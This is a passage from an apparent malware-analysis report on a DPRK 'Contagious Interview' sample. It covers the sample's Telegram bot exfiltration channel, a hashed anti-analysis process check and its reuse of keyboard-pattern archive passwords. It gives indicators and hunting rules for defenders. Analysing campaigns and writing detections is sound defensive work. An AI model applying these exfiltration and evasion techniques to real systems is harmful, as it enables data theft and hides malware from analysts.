Telegram-as-C2 is operationally invisible. The Telegram bot fallback in this campaign is not a niche detail — it’s a recurring pattern in DPRK exfiltration, and Telegram’s API is HTTPS to api.telegram.org which is on every “do not block” list for any organisation with employees who use Telegram. There is no built-in audit trail of Telegram bot uploads from a corporate network. Detection has to be process-and-content-based: any non-browser, non-Telegram-desktop process making outbound TLS connections to api.telegram.org is anomalous, particularly POSTs to /sendDocument or /sendMessage with large multipart payloads. The bot in this sample (@file_1018_bot, ID 7870147428) was alive at time of analysis — the actor’s exfiltration infrastructure is operationally active, and the bot ID and chat ID make excellent IOC-rich pivot points for cross-organisation hunting.
Hash-based evasion checks defeat plaintext analyst-tool detection. The Stage 3 evasion routine that MD5s each O-prefixed process and compares against 9a47bb48b7b8ca41fc138fd3372e8cc0 is a one-way function — the targeted tool name is not recoverable from the malware via static analysis. This is a deliberate design choice that mirrors how anti-debugger checks have evolved. Defenders cannot rely on string-based detection of “OllyDbg.exe” or similar in samples; the malware has to be observed running against a known process set to identify what it actually targets. For analysts working in sandbox/VM environments, this means dynamic analysis runs need to be done against deliberately-varied process sets to enumerate evasion targets, and the comparison logic itself becomes the detection signature rather than the tool name.
The QWERTY-keyboard-pattern password is a hunting signal. ,./,./,./ is the bottom-right row of a US QWERTY keyboard pressed three times. The same actor cluster has used this exact string and structurally similar variants (zxc,zxc,zxc, qwe123qwe123) across at least three documented Contagious Interview samples in 2024-2025. Hunting for pyzipper or AESZipFile usage with passwords matching common keyboard-pattern shapes is a low-false-positive detection rule for this campaign family. Combined with the staged folder structure (login/, login-db/, spf/, _info.json), it’s effectively a fingerprint.